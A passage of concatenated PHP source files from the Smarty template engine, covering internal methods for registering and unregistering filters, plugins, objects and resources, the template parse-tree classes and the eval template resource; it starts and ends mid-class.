    public function registerFilter(Smarty_Internal_TemplateBase $obj, $type, $callback, $name = null)
    {
        $smarty = $obj->_getSmartyObj();
        $this->_checkFilterType($type);
        $name = isset($name) ? $name : $this->_getFilterName($callback);
        if (!is_callable($callback)) {
            throw new SmartyException("{$type}filter '{$name}' not callable");
        }
        $smarty->registered_filters[ $type ][ $name ] = $callback;
        return $obj;
    }

    /**
     * Return internal filter name
     *
     * @param callback $function_name
     *
     * @return string   internal filter name
     */
    public function _getFilterName($function_name)
    {
        if (is_array($function_name)) {
            $_class_name = (is_object($function_name[ 0 ]) ? get_class($function_name[ 0 ]) : $function_name[ 0 ]);
            return $_class_name . '_' . $function_name[ 1 ];
        } elseif (is_string($function_name)) {
            return $function_name;
        } else {
            return 'closure';
        }
    }

    /**
     * Check if filter type is valid
     *
     * @param string $type
     *
     * @throws \SmartyException
     */
    public function _checkFilterType($type)
    {
        if (!isset($this->filterTypes[ $type ])) {
            throw new SmartyException("Illegal filter type '{$type}'");
        }
    }
}
<?php

/**
 * Smarty Method RegisterObject
 *
 * Smarty::registerObject() method
 *
 * @package    Smarty
 * @subpackage PluginsInternal
 * @author     Uwe Tews
 */
class Smarty_Internal_Method_RegisterObject
{
    /**
     * Valid for Smarty and template object
     *
     * @var int
     */
    public $objMap = 3;

    /**
     * Registers object to be used in templates
     *
     * @api  Smarty::registerObject()
     * @link https://www.smarty.net/docs/en/api.register.object.tpl
     *
     * @param \Smarty_Internal_TemplateBase|\Smarty_Internal_Template|\Smarty $obj
     * @param string                                                          $object_name
     * @param object                                                          $object                     the
     *                                                                                                    referenced
     *                                                                                                    PHP
     *                                                                                                    object
     *                                                                                                    to
     *                                                                                                    register
     *
     * @param array                                                           $allowed_methods_properties list of
     *                                                                                                    allowed
     *                                                                                                    methods
     *                                                                                                    (empty
     *                                                                                                    = all)
     *
     * @param bool                                                            $format                     smarty
     *                                                                                                    argument
     *                                                                                                    format,
     *                                                                                                    else
     *                                                                                                    traditional
     *
     * @param array                                                           $block_methods              list of
     *                                                                                                    block-methods
     *
     * @return \Smarty|\Smarty_Internal_Template
     * @throws \SmartyException
     */
    public function registerObject(
        Smarty_Internal_TemplateBase $obj,
        $object_name,
        $object,
        $allowed_methods_properties = array(),
        $format = true,
        $block_methods = array()
    ) {
        $smarty = $obj->_getSmartyObj();
        // test if allowed methods callable
        if (!empty($allowed_methods_properties)) {
            foreach ((array)$allowed_methods_properties as $method) {
                if (!is_callable(array($object, $method)) && !property_exists($object, $method)) {
                    throw new SmartyException("Undefined method or property '$method' in registered object");
                }
            }
        }
        // test if block methods callable
        if (!empty($block_methods)) {
            foreach ((array)$block_methods as $method) {
                if (!is_callable(array($object, $method))) {
                    throw new SmartyException("Undefined method '$method' in registered object");
                }
            }
        }
        // register the object
        $smarty->registered_objects[ $object_name ] =
            array($object, (array)$allowed_methods_properties, (boolean)$format, (array)$block_methods);
        return $obj;
    }
}
<?php

/**
 * Smarty Method RegisterPlugin
 *
 * Smarty::registerPlugin() method
 *
 * @package    Smarty
 * @subpackage PluginsInternal
 * @author     Uwe Tews
 */
class Smarty_Internal_Method_RegisterPlugin
{
    /**
     * Valid for Smarty and template object
     *
     * @var int
     */
    public $objMap = 3;

    /**
     * Registers plugin to be used in templates
     *
     * @api  Smarty::registerPlugin()
     * @link https://www.smarty.net/docs/en/api.register.plugin.tpl
     *
     * @param \Smarty_Internal_TemplateBase|\Smarty_Internal_Template|\Smarty $obj
     * @param string                                                          $type       plugin type
     * @param string                                                          $name       name of template tag
     * @param callback                                                        $callback   PHP callback to register
     * @param bool                                                            $cacheable  if true (default) this
     *                                                                                    function is cache able
     * @param mixed                                                           $cache_attr caching attributes if any
     *
     * @return \Smarty|\Smarty_Internal_Template
     * @throws SmartyException              when the plugin tag is invalid
     */
    public function registerPlugin(
        Smarty_Internal_TemplateBase $obj,
        $type,
        $name,
        $callback,
        $cacheable = true,
        $cache_attr = null
    ) {
        $smarty = $obj->_getSmartyObj();
        if (isset($smarty->registered_plugins[ $type ][ $name ])) {
            throw new SmartyException("Plugin tag '{$name}' already registered");
        } elseif (!is_callable($callback)) {
            throw new SmartyException("Plugin '{$name}' not callable");
        } elseif ($cacheable && $cache_attr) {
            throw new SmartyException("Cannot set caching attributes for plugin '{$name}' when it is cacheable.");
        } else {
            $smarty->registered_plugins[ $type ][ $name ] = array($callback, (bool)$cacheable, (array)$cache_attr);
        }
        return $obj;
    }
}
<?php

/**
 * Smarty Method RegisterResource
 *
 * Smarty::registerResource() method
 *
 * @package    Smarty
 * @subpackage PluginsInternal
 * @author     Uwe Tews
 */
class Smarty_Internal_Method_RegisterResource
{
    /**
     * Valid for Smarty and template object
     *
     * @var int
     */
    public $objMap = 3;

    /**
     * Registers a resource to fetch a template
     *
     * @api  Smarty::registerResource()
     * @link https://www.smarty.net/docs/en/api.register.resource.tpl
     *
     * @param \Smarty_Internal_TemplateBase|\Smarty_Internal_Template|\Smarty $obj
     * @param string                                                          $name             name of resource type
     * @param Smarty_Resource                                           $resource_handler instance of Smarty_Resource
     *
     * @return \Smarty|\Smarty_Internal_Template
     */
    public function registerResource(Smarty_Internal_TemplateBase $obj, $name, Smarty_Resource $resource_handler)
    {
        $smarty = $obj->_getSmartyObj();
        $smarty->registered_resources[ $name ] = $resource_handler;
        return $obj;
    }
}
<?php

/**
 * Smarty Method SetAutoloadFilters
 *
 * Smarty::setAutoloadFilters() method
 *
 * @package    Smarty
 * @subpackage PluginsInternal
 * @author     Uwe Tews
 */
class Smarty_Internal_Method_SetAutoloadFilters
{
    /**
     * Valid for Smarty and template object
     *
     * @var int
     */
    public $objMap = 3;

    /**
     * Valid filter types
     *
     * @var array
     */
    private $filterTypes = array('pre' => true, 'post' => true, 'output' => true, 'variable' => true);

    /**
     * Set autoload filters
     *
     * @api Smarty::setAutoloadFilters()
     *
     * @param \Smarty_Internal_TemplateBase|\Smarty_Internal_Template|\Smarty $obj
     * @param array                                                           $filters filters to load automatically
     * @param string                                                          $type    "pre", "output", … specify
     *                                                                                 the filter type to set.
     *                                                                                 Defaults to none treating
     *                                                                                 $filters' keys as the
     *                                                                                 appropriate types
     *
     * @return \Smarty|\Smarty_Internal_Template
     * @throws \SmartyException
     */
    public function setAutoloadFilters(Smarty_Internal_TemplateBase $obj, $filters, $type = null)
    {
        $smarty = $obj->_getSmartyObj();
        if ($type !== null) {
            $this->_checkFilterType($type);
            $smarty->autoload_filters[ $type ] = (array)$filters;
        } else {
            foreach ((array)$filters as $type => $value) {
                $this->_checkFilterType($type);
            }
            $smarty->autoload_filters = (array)$filters;
        }
        return $obj;
    }

    /**
     * Check if filter type is valid
     *
     * @param string $type
     *
     * @throws \SmartyException
     */
    public function _checkFilterType($type)
    {
        if (!isset($this->filterTypes[ $type ])) {
            throw new SmartyException("Illegal filter type '{$type}'");
        }
    }
}
<?php

/**
 * Smarty Method SetDebugTemplate
 *
 * Smarty::setDebugTemplate() method
 *
 * @package    Smarty
 * @subpackage PluginsInternal
 * @author     Uwe Tews
 */
class Smarty_Internal_Method_SetDebugTemplate
{
    /**
     * Valid for Smarty and template object
     *
     * @var int
     */
    public $objMap = 3;

    /**
     * set the debug template
     *
     * @api Smarty::setDebugTemplate()
     *
     * @param \Smarty_Internal_TemplateBase|\Smarty_Internal_Template|\Smarty $obj
     * @param string                                                          $tpl_name
     *
     * @return \Smarty|\Smarty_Internal_Template
     * @throws SmartyException if file is not readable
     */
    public function setDebugTemplate(Smarty_Internal_TemplateBase $obj, $tpl_name)
    {
        $smarty = $obj->_getSmartyObj();
        if (!is_readable($tpl_name)) {
            throw new SmartyException("Unknown file '{$tpl_name}'");
        }
        $smarty->debug_tpl = $tpl_name;
        return $obj;
    }
}
<?php

/**
 * Smarty Method SetDefaultModifiers
 *
 * Smarty::setDefaultModifiers() method
 *
 * @package    Smarty
 * @subpackage PluginsInternal
 * @author     Uwe Tews
 */
class Smarty_Internal_Method_SetDefaultModifiers
{
    /**
     * Valid for Smarty and template object
     *
     * @var int
     */
    public $objMap = 3;

    /**
     * Set default modifiers
     *
     * @api Smarty::setDefaultModifiers()
     *
     * @param \Smarty_Internal_TemplateBase|\Smarty_Internal_Template|\Smarty $obj
     * @param array|string                                                    $modifiers modifier or list of modifiers
     *                                                                                   to set
     *
     * @return \Smarty|\Smarty_Internal_Template
     */
    public function setDefaultModifiers(Smarty_Internal_TemplateBase $obj, $modifiers)
    {
        $smarty = $obj->_getSmartyObj();
        $smarty->default_modifiers = (array)$modifiers;
        return $obj;
    }
}
<?php

/**
 * Smarty Method UnloadFilter
 *
 * Smarty::unloadFilter() method
 *
 * @package    Smarty
 * @subpackage PluginsInternal
 * @author     Uwe Tews
 */
class Smarty_Internal_Method_UnloadFilter extends Smarty_Internal_Method_LoadFilter
{
    /**
     * load a filter of specified type and name
     *
     * @api  Smarty::unloadFilter()
     *
     * @link https://www.smarty.net/docs/en/api.unload.filter.tpl
     *
     * @param \Smarty_Internal_TemplateBase|\Smarty_Internal_Template|\Smarty $obj
     * @param string                                                          $type filter type
     * @param string                                                          $name filter name
     *
     * @return Smarty_Internal_TemplateBase
     * @throws \SmartyException
     */
    public function unloadFilter(Smarty_Internal_TemplateBase $obj, $type, $name)
    {
        $smarty = $obj->_getSmartyObj();
        $this->_checkFilterType($type);
        if (isset($smarty->registered_filters[ $type ])) {
            $_filter_name = "smarty_{$type}filter_{$name}";
            if (isset($smarty->registered_filters[ $type ][ $_filter_name ])) {
                unset($smarty->registered_filters[ $type ][ $_filter_name ]);
                if (empty($smarty->registered_filters[ $type ])) {
                    unset($smarty->registered_filters[ $type ]);
                }
            }
        }
        return $obj;
    }
}
<?php

/**
 * Smarty Method UnregisterCacheResource
 *
 * Smarty::unregisterCacheResource() method
 *
 * @package    Smarty
 * @subpackage PluginsInternal
 * @author     Uwe Tews
 */
class Smarty_Internal_Method_UnregisterCacheResource
{
    /**
     * Valid for Smarty and template object
     *
     * @var int
     */
    public $objMap = 3;

    /**
     * Registers a resource to fetch a template
     *
     * @api  Smarty::unregisterCacheResource()
     * @link https://www.smarty.net/docs/en/api.unregister.cacheresource.tpl
     *
     * @param \Smarty_Internal_TemplateBase|\Smarty_Internal_Template|\Smarty $obj
     * @param                                                                 $name
     *
     * @return \Smarty|\Smarty_Internal_Template
     */
    public function unregisterCacheResource(Smarty_Internal_TemplateBase $obj, $name)
    {
        $smarty = $obj->_getSmartyObj();
        if (isset($smarty->registered_cache_resources[ $name ])) {
            unset($smarty->registered_cache_resources[ $name ]);
        }
        return $obj;
    }
}
<?php

/**
 * Smarty Method UnregisterFilter
 *
 * Smarty::unregisterFilter() method
 *
 * @package    Smarty
 * @subpackage PluginsInternal
 * @author     Uwe Tews
 */
class Smarty_Internal_Method_UnregisterFilter extends Smarty_Internal_Method_RegisterFilter
{
    /**
     * Unregisters a filter function
     *
     * @api  Smarty::unregisterFilter()
     *
     * @link https://www.smarty.net/docs/en/api.unregister.filter.tpl
     *
     * @param \Smarty_Internal_TemplateBase|\Smarty_Internal_Template|\Smarty $obj
     * @param string                                                          $type filter type
     * @param callback|string                                                 $callback
     *
     * @return \Smarty|\Smarty_Internal_Template
     * @throws \SmartyException
     */
    public function unregisterFilter(Smarty_Internal_TemplateBase $obj, $type, $callback)
    {
        $smarty = $obj->_getSmartyObj();
        $this->_checkFilterType($type);
        if (isset($smarty->registered_filters[ $type ])) {
            $name = is_string($callback) ? $callback : $this->_getFilterName($callback);
            if (isset($smarty->registered_filters[ $type ][ $name ])) {
                unset($smarty->registered_filters[ $type ][ $name ]);
                if (empty($smarty->registered_filters[ $type ])) {
                    unset($smarty->registered_filters[ $type ]);
                }
            }
        }
        return $obj;
    }
}
<?php

/**
 * Smarty Method UnregisterObject
 *
 * Smarty::unregisterObject() method
 *
 * @package    Smarty
 * @subpackage PluginsInternal
 * @author     Uwe Tews
 */
class Smarty_Internal_Method_UnregisterObject
{
    /**
     * Valid for Smarty and template object
     *
     * @var int
     */
    public $objMap = 3;

    /**
     * Registers plugin to be used in templates
     *
     * @api  Smarty::unregisterObject()
     * @link https://www.smarty.net/docs/en/api.unregister.object.tpl
     *
     * @param \Smarty_Internal_TemplateBase|\Smarty_Internal_Template|\Smarty $obj
     * @param string                                                          $object_name name of object
     *
     * @return \Smarty|\Smarty_Internal_Template
     */
    public function unregisterObject(Smarty_Internal_TemplateBase $obj, $object_name)
    {
        $smarty = $obj->_getSmartyObj();
        if (isset($smarty->registered_objects[ $object_name ])) {
            unset($smarty->registered_objects[ $object_name ]);
        }
        return $obj;
    }
}
<?php

/**
 * Smarty Method UnregisterPlugin
 *
 * Smarty::unregisterPlugin() method
 *
 * @package    Smarty
 * @subpackage PluginsInternal
 * @author     Uwe Tews
 */
class Smarty_Internal_Method_UnregisterPlugin
{
    /**
     * Valid for Smarty and template object
     *
     * @var int
     */
    public $objMap = 3;

    /**
     * Registers plugin to be used in templates
     *
     * @api  Smarty::unregisterPlugin()
     * @link https://www.smarty.net/docs/en/api.unregister.plugin.tpl
     *
     * @param \Smarty_Internal_TemplateBase|\Smarty_Internal_Template|\Smarty $obj
     * @param string                                                          $type plugin type
     * @param string                                                          $name name of template tag
     *
     * @return \Smarty|\Smarty_Internal_Template
     */
    public function unregisterPlugin(Smarty_Internal_TemplateBase $obj, $type, $name)
    {
        $smarty = $obj->_getSmartyObj();
        if (isset($smarty->registered_plugins[ $type ][ $name ])) {
            unset($smarty->registered_plugins[ $type ][ $name ]);
        }
        return $obj;
    }
}
<?php

/**
 * Smarty Method UnregisterResource
 *
 * Smarty::unregisterResource() method
 *
 * @package    Smarty
 * @subpackage PluginsInternal
 * @author     Uwe Tews
 */
class Smarty_Internal_Method_UnregisterResource
{
    /**
     * Valid for Smarty and template object
     *
     * @var int
     */
    public $objMap = 3;

    /**
     * Registers a resource to fetch a template
     *
     * @api  Smarty::unregisterResource()
     * @link https://www.smarty.net/docs/en/api.unregister.resource.tpl
     *
     * @param \Smarty_Internal_TemplateBase|\Smarty_Internal_Template|\Smarty $obj
     * @param string                                                          $type name of resource type
     *
     * @return \Smarty|\Smarty_Internal_Template
     */
    public function unregisterResource(Smarty_Internal_TemplateBase $obj, $type)
    {
        $smarty = $obj->_getSmartyObj();
        if (isset($smarty->registered_resources[ $type ])) {
            unset($smarty->registered_resources[ $type ]);
        }
        return $obj;
    }
}
<?php
/**
 * Smarty Internal Plugin Nocache Insert
 * Compiles the {insert} tag into the cache file
 *
 * @package    Smarty
 * @subpackage Compiler
 * @author     Uwe Tews
 */

/**
 * Smarty Internal Plugin Compile Insert Class
 *
 * @package    Smarty
 * @subpackage Compiler
 */
class Smarty_Internal_Nocache_Insert
{
    /**
     * Compiles code for the {insert} tag into cache file
     *
     * @param string                   $_function insert function name
     * @param array                    $_attr     array with parameter
     * @param Smarty_Internal_Template $_template template object
     * @param string                   $_script   script name to load or 'null'
     * @param string                   $_assign   optional variable name
     *
     * @return string                   compiled code
     */
    public static function compile($_function, $_attr, $_template, $_script, $_assign = null)
    {
        $_output = '<?php ';
        if ($_script !== 'null') {
            // script which must be included
            // code for script file loading
            $_output .= "require_once '{$_script}';";
        }
        // call insert
        if (isset($_assign)) {
            $_output .= "\$_smarty_tpl->assign('{$_assign}' , {$_function} (" . var_export($_attr, true) .
                        ',\$_smarty_tpl), true);?>';
        } else {
            $_output .= "echo {$_function}(" . var_export($_attr, true) . ',$_smarty_tpl);?>';
        }
        $_tpl = $_template;
        while ($_tpl->_isSubTpl()) {
            $_tpl = $_tpl->parent;
        }
        return "/*%%SmartyNocache:{$_tpl->compiled->nocache_hash}%%*/{$_output}/*/%%SmartyNocache:{$_tpl->compiled->nocache_hash}%%*/";
    }
}
<?php
/**
 * Smarty Internal Plugin Templateparser Parsetree
 * These are classes to build parsetree in the template parser
 *
 * @package    Smarty
 * @subpackage Compiler
 * @author     Thue Kristensen
 * @author     Uwe Tews
 */

/**
 * @package    Smarty
 * @subpackage Compiler
 * @ignore
 */
abstract class Smarty_Internal_ParseTree
{
    /**
     * Buffer content
     *
     * @var mixed
     */
    public $data;

    /**
     * Subtree array
     *
     * @var array
     */
    public $subtrees = array();

    /**
     * Return buffer
     *
     * @param \Smarty_Internal_Templateparser $parser
     *
     * @return string buffer content
     */
    abstract public function to_smarty_php(Smarty_Internal_Templateparser $parser);

    /**
     * Template data object destructor
     */
    public function __destruct()
    {
        $this->data = null;
        $this->subtrees = null;
    }
}
<?php
/**
 * Smarty Internal Plugin Templateparser Parse Tree
 * These are classes to build parse trees in the template parser
 *
 * @package    Smarty
 * @subpackage Compiler
 * @author     Thue Kristensen
 * @author     Uwe Tews
 */

/**
 * Code fragment inside a tag .
 *
 * @package    Smarty
 * @subpackage Compiler
 * @ignore
 */
class Smarty_Internal_ParseTree_Code extends Smarty_Internal_ParseTree
{
    /**
     * Create parse tree buffer for code fragment
     *
     * @param string $data content
     */
    public function __construct($data)
    {
        $this->data = $data;
    }

    /**
     * Return buffer content in parentheses
     *
     * @param \Smarty_Internal_Templateparser $parser
     *
     * @return string content
     */
    public function to_smarty_php(Smarty_Internal_Templateparser $parser)
    {
        return sprintf('(%s)', $this->data);
    }
}
<?php
/**
 * Double quoted string inside a tag.
 *
 * @package    Smarty
 * @subpackage Compiler
 * @ignore
 */

/**
 * Double quoted string inside a tag.
 *
 * @package    Smarty
 * @subpackage Compiler
 * @ignore
 */
class Smarty_Internal_ParseTree_Dq extends Smarty_Internal_ParseTree
{
    /**
     * Create parse tree buffer for double quoted string subtrees
     *
     * @param object                    $parser  parser object
     * @param Smarty_Internal_ParseTree $subtree parse tree buffer
     */
    public function __construct($parser, Smarty_Internal_ParseTree $subtree)
    {
        $this->subtrees[] = $subtree;
        if ($subtree instanceof Smarty_Internal_ParseTree_Tag) {
            $parser->block_nesting_level = count($parser->compiler->_tag_stack);
        }
    }

    /**
     * Append buffer to subtree
     *
     * @param \Smarty_Internal_Templateparser $parser
     * @param Smarty_Internal_ParseTree       $subtree parse tree buffer
     */
    public function append_subtree(Smarty_Internal_Templateparser $parser, Smarty_Internal_ParseTree $subtree)
    {
        $last_subtree = count($this->subtrees) - 1;
        if ($last_subtree >= 0 && $this->subtrees[ $last_subtree ] instanceof Smarty_Internal_ParseTree_Tag
            && $this->subtrees[ $last_subtree ]->saved_block_nesting < $parser->block_nesting_level
        ) {
            if ($subtree instanceof Smarty_Internal_ParseTree_Code) {
                $this->subtrees[ $last_subtree ]->data =
                    $parser->compiler->appendCode(
                        $this->subtrees[ $last_subtree ]->data,
                        '<?php echo ' . $subtree->data . ';?>'
                    );
            } elseif ($subtree instanceof Smarty_Internal_ParseTree_DqContent) {
                $this->subtrees[ $last_subtree ]->data =
                    $parser->compiler->appendCode(
                        $this->subtrees[ $last_subtree ]->data,
                        '<?php echo "' . $subtree->data . '";?>'
                    );
            } else {
                $this->subtrees[ $last_subtree ]->data =
                    $parser->compiler->appendCode($this->subtrees[ $last_subtree ]->data, $subtree->data);
            }
        } else {
            $this->subtrees[] = $subtree;
        }
        if ($subtree instanceof Smarty_Internal_ParseTree_Tag) {
            $parser->block_nesting_level = count($parser->compiler->_tag_stack);
        }
    }

    /**
     * Merge subtree buffer content together
     *
     * @param \Smarty_Internal_Templateparser $parser
     *
     * @return string compiled template code
     */
    public function to_smarty_php(Smarty_Internal_Templateparser $parser)
    {
        $code = '';
        foreach ($this->subtrees as $subtree) {
            if ($code !== '') {
                $code .= '.';
            }
            if ($subtree instanceof Smarty_Internal_ParseTree_Tag) {
                $more_php = $subtree->assign_to_var($parser);
            } else {
                $more_php = $subtree->to_smarty_php($parser);
            }
            $code .= $more_php;
            if (!$subtree instanceof Smarty_Internal_ParseTree_DqContent) {
                $parser->compiler->has_variable_string = true;
            }
        }
        return $code;
    }
}
<?php
/**
 * Smarty Internal Plugin Templateparser Parse Tree
 * These are classes to build parse tree  in the template parser
 *
 * @package    Smarty
 * @subpackage Compiler
 * @author     Thue Kristensen
 * @author     Uwe Tews
 */

/**
 * Raw chars as part of a double quoted string.
 *
 * @package    Smarty
 * @subpackage Compiler
 * @ignore
 */
class Smarty_Internal_ParseTree_DqContent extends Smarty_Internal_ParseTree
{
    /**
     * Create parse tree buffer with string content
     *
     * @param string $data string section
     */
    public function __construct($data)
    {
        $this->data = $data;
    }

    /**
     * Return content as double quoted string
     *
     * @param \Smarty_Internal_Templateparser $parser
     *
     * @return string doubled quoted string
     */
    public function to_smarty_php(Smarty_Internal_Templateparser $parser)
    {
        return '"' . $this->data . '"';
    }
}
<?php
/**
 * Smarty Internal Plugin Templateparser Parse Tree
 * These are classes to build parse tree in the template parser
 *
 * @package    Smarty
 * @subpackage Compiler
 * @author     Thue Kristensen
 * @author     Uwe Tews
 */

/**
 * A complete smarty tag.
 *
 * @package    Smarty
 * @subpackage Compiler
 * @ignore
 */
class Smarty_Internal_ParseTree_Tag extends Smarty_Internal_ParseTree
{
    /**
     * Saved block nesting level
     *
     * @var int
     */
    public $saved_block_nesting;

    /**
     * Create parse tree buffer for Smarty tag
     *
     * @param \Smarty_Internal_Templateparser $parser parser object
     * @param string                          $data   content
     */
    public function __construct(Smarty_Internal_Templateparser $parser, $data)
    {
        $this->data = $data;
        $this->saved_block_nesting = $parser->block_nesting_level;
    }

    /**
     * Return buffer content
     *
     * @param \Smarty_Internal_Templateparser $parser
     *
     * @return string content
     */
    public function to_smarty_php(Smarty_Internal_Templateparser $parser)
    {
        return $this->data;
    }

    /**
     * Return complied code that loads the evaluated output of buffer content into a temporary variable
     *
     * @param \Smarty_Internal_Templateparser $parser
     *
     * @return string template code
     */
    public function assign_to_var(Smarty_Internal_Templateparser $parser)
    {
        $var = $parser->compiler->getNewPrefixVariable();
        $tmp = $parser->compiler->appendCode('<?php ob_start();?>', $this->data);
        $tmp = $parser->compiler->appendCode($tmp, "<?php {$var}=ob_get_clean();?>");
        $parser->compiler->prefix_code[] = sprintf('%s', $tmp);
        return $var;
    }
}
<?php
/**
 * Smarty Internal Plugin Templateparser Parse Tree
 * These are classes to build parse tree in the template parser
 *
 * @package    Smarty
 * @subpackage Compiler
 * @author     Thue Kristensen
 * @author     Uwe Tews
 */

/**
 * Template element
 *
 * @package    Smarty
 * @subpackage Compiler
 * @ignore
 */
class Smarty_Internal_ParseTree_Template extends Smarty_Internal_ParseTree
{
    /**
     * Array of template elements
     *
     * @var array
     */
    public $subtrees = array();

    /**
     * Create root of parse tree for template elements
     */
    public function __construct()
    {
    }

    /**
     * Append buffer to subtree
     *
     * @param \Smarty_Internal_Templateparser $parser
     * @param Smarty_Internal_ParseTree       $subtree
     */
    public function append_subtree(Smarty_Internal_Templateparser $parser, Smarty_Internal_ParseTree $subtree)
    {
        if (!empty($subtree->subtrees)) {
            $this->subtrees = array_merge($this->subtrees, $subtree->subtrees);
        } else {
            if ($subtree->data !== '') {
                $this->subtrees[] = $subtree;
            }
        }
    }

    /**
     * Append array to subtree
     *
     * @param \Smarty_Internal_Templateparser $parser
     * @param \Smarty_Internal_ParseTree[]    $array
     */
    public function append_array(Smarty_Internal_Templateparser $parser, $array = array())
    {
        if (!empty($array)) {
            $this->subtrees = array_merge($this->subtrees, (array)$array);
        }
    }

    /**
     * Prepend array to subtree
     *
     * @param \Smarty_Internal_Templateparser $parser
     * @param \Smarty_Internal_ParseTree[]    $array
     */
    public function prepend_array(Smarty_Internal_Templateparser $parser, $array = array())
    {
        if (!empty($array)) {
            $this->subtrees = array_merge((array)$array, $this->subtrees);
        }
    }

    /**
     * Sanitize and merge subtree buffers together
     *
     * @param \Smarty_Internal_Templateparser $parser
     *
     * @return string template code content
     */
    public function to_smarty_php(Smarty_Internal_Templateparser $parser)
    {
        $code = '';

        foreach ($this->getChunkedSubtrees() as $chunk) {
            $text = '';
            switch ($chunk['mode']) {
                case 'textstripped':
                    foreach ($chunk['subtrees'] as $subtree) {
                        $text .= $subtree->to_smarty_php($parser);
                    }
                    $code .= preg_replace(
                        '/((<%)|(%>)|(<\?php)|(<\?)|(\?>)|(<\/?script))/',
                        "<?php echo '\$1'; ?>\n",
                        $parser->compiler->processText($text)
                    );
                    break;
                case 'text':
                    foreach ($chunk['subtrees'] as $subtree) {
                        $text .= $subtree->to_smarty_php($parser);
                    }
                    $code .= preg_replace(
                        '/((<%)|(%>)|(<\?php)|(<\?)|(\?>)|(<\/?script))/',
                        "<?php echo '\$1'; ?>\n",
                        $text
                    );
                    break;
                case 'tag':
                    foreach ($chunk['subtrees'] as $subtree) {
                        $text = $parser->compiler->appendCode($text, $subtree->to_smarty_php($parser));
                    }
                    $code .= $text;
                    break;
                default:
                    foreach ($chunk['subtrees'] as $subtree) {
                        $text = $subtree->to_smarty_php($parser);
                    }
                    $code .= $text;

            }
        }
        return $code;
    }

    private function getChunkedSubtrees() {
        $chunks = array();
        $currentMode = null;
        $currentChunk = array();
        for ($key = 0, $cnt = count($this->subtrees); $key < $cnt; $key++) {

            if ($this->subtrees[ $key ]->data === '' && in_array($currentMode, array('textstripped', 'text', 'tag'))) {
                continue;
            }

            if ($this->subtrees[ $key ] instanceof Smarty_Internal_ParseTree_Text
                && $this->subtrees[ $key ]->isToBeStripped()) {
                $newMode = 'textstripped';
            } elseif ($this->subtrees[ $key ] instanceof Smarty_Internal_ParseTree_Text) {
                $newMode = 'text';
            } elseif ($this->subtrees[ $key ] instanceof Smarty_Internal_ParseTree_Tag) {
                $newMode = 'tag';
            } else {
                $newMode = 'other';
            }

            if ($newMode == $currentMode) {
                $currentChunk[] = $this->subtrees[ $key ];
            } else {
                $chunks[] = array(
                    'mode' => $currentMode,
                    'subtrees' => $currentChunk
                );
                $currentMode = $newMode;
                $currentChunk = array($this->subtrees[ $key ]);
            }
        }
        if ($currentMode && $currentChunk) {
            $chunks[] = array(
                'mode' => $currentMode,
                'subtrees' => $currentChunk
            );
        }
        return $chunks;
    }
}
<?php

/**
 * Smarty Internal Plugin Templateparser Parse Tree
 * These are classes to build parse tree in the template parser
 *
 * @package    Smarty
 * @subpackage Compiler
 * @author     Thue Kristensen
 * @author     Uwe Tews
 *             *
 *             template text
 * @package    Smarty
 * @subpackage Compiler
 * @ignore
 */
class Smarty_Internal_ParseTree_Text extends Smarty_Internal_ParseTree
{

    /**
     * Wether this section should be stripped on output to smarty php
     * @var bool
     */
    private $toBeStripped = false;

    /**
     * Create template text buffer
     *
     * @param string $data text
     * @param bool $toBeStripped wether this section should be stripped on output to smarty php
     */
    public function __construct($data, $toBeStripped = false)
    {
        $this->data = $data;
        $this->toBeStripped = $toBeStripped;
    }

    /**
     * Wether this section should be stripped on output to smarty php
     * @return bool
     */
    public function isToBeStripped() {
        return $this->toBeStripped;
    }

    /**
     * Return buffer content
     *
     * @param \Smarty_Internal_Templateparser $parser
     *
     * @return string text
     */
    public function to_smarty_php(Smarty_Internal_Templateparser $parser)
    {
        return $this->data;
    }
}
<?php
/**
 * Smarty Internal Plugin Resource Eval
 *
 * @package    Smarty
 * @subpackage TemplateResources
 * @author     Uwe Tews
 * @author     Rodney Rehm
 */

/**
 * Smarty Internal Plugin Resource Eval
 * Implements the strings as resource for Smarty template
 * {@internal unlike string-resources the compiled state of eval-resources is NOT saved for subsequent access}}
 *
 * @package    Smarty
 * @subpackage TemplateResources
 */
class Smarty_Internal_Resource_Eval extends Smarty_Resource_Recompiled
{
    /**
     * populate Source Object with meta data from Resource
     *
     * @param Smarty_Template_Source   $source    source object
     * @param Smarty_Internal_Template|null $_template template object
     *
     * @return void
     */
    public function populate(Smarty_Template_Source $source, ?Smarty_Internal_Template $_template = null)
    {
        $source->uid = $source->filepath = sha1($source->name);
        $source->timestamp = $source->exists = true;
    }

    /**
     * Load template's source from $resource_name into current template object
     *
     * @uses decode() to decode base64 and urlencoded template_resources
     *
     * @param Smarty_Template_Source $source source object
     *
     * @return string                 template source
     */
    public function getContent(Smarty_Template_Source $source)
    {
        return $this->decode($source->name);
    }

    /**
     * decode base64 and urlencode
     *
     * @param string $string template_resource to decode
     *
     * @return string decoded template_resource
     */
    protected function decode($string)
    {
        // decode if specified
        if (($pos = strpos($string, ':')) !== false) {
            if (!strncmp($string, 'base64', 6)) {
                return base64_decode(substr($string, 7));
            } elseif (!strncmp($string, 'urlencode', 9)) {
                return urldecode(substr($string, 10));
            }
        }
        return $string;
    }

    /**
     * modify resource_name according to resource handlers specifications
     *
     * @param Smarty  $smarty        Smarty instance
     * @param string  $resource_name resource_name to make unique
     * @param boolean $isConfig      flag for config resource
     *
     * @return string unique resource name
     */
    public function buildUniqueResourceName(Smarty $smarty, $resource_name, $isConfig = false)
    {
        return get_class($this) . '#' . $this->decode($resource_name);
    }

    /**
     * Determine basename for compiled filename
     *
     * @param Smarty_Template_Source $source source object
     *
     * @return string                 resource's basename
     */
    public function getBasename(Smarty_Template_Source $source)
    {
        return '';
    }
}
<?php
/**
 * Smarty Internal Plugin Resource Extends
 *
 * @package    Smarty
 * @subpackage TemplateResources
 * @author     Uwe Tews
 * @author     Rodney Rehm
 */

/**
 * Smarty Internal Plugin Resource Extends
 * Implements the file system as resource for Smarty which {extend}s a chain of template files templates
 *
 * @package    Smarty
 * @subpackage TemplateResources
 */
class Smarty_Internal_Resource_Extends extends Smarty_Resource
{
    /**
     * mbstring.overload flag
     *
     * @var int
     */
    public $mbstring_overload = 0;

    /**
     * populate Source Object with meta data from Resource
     *
     * @param Smarty_Template_Source   $source    source object
     * @param Smarty_Internal_Template|null $_template template object
     *
     * @throws SmartyException
     */
    public function populate(Smarty_Template_Source $source, ?Smarty_Internal_Template $_template = null)
    {
        $uid = '';
        $sources = array();
        $components = explode('|', $source->name);
        $smarty = &$source->smarty;
        $exists = true;
        foreach ($components as $component) {
            /* @var \Smarty_Template_Source $_s */
            $_s = Smarty_Template_Source::load(null, $smarty, $component);
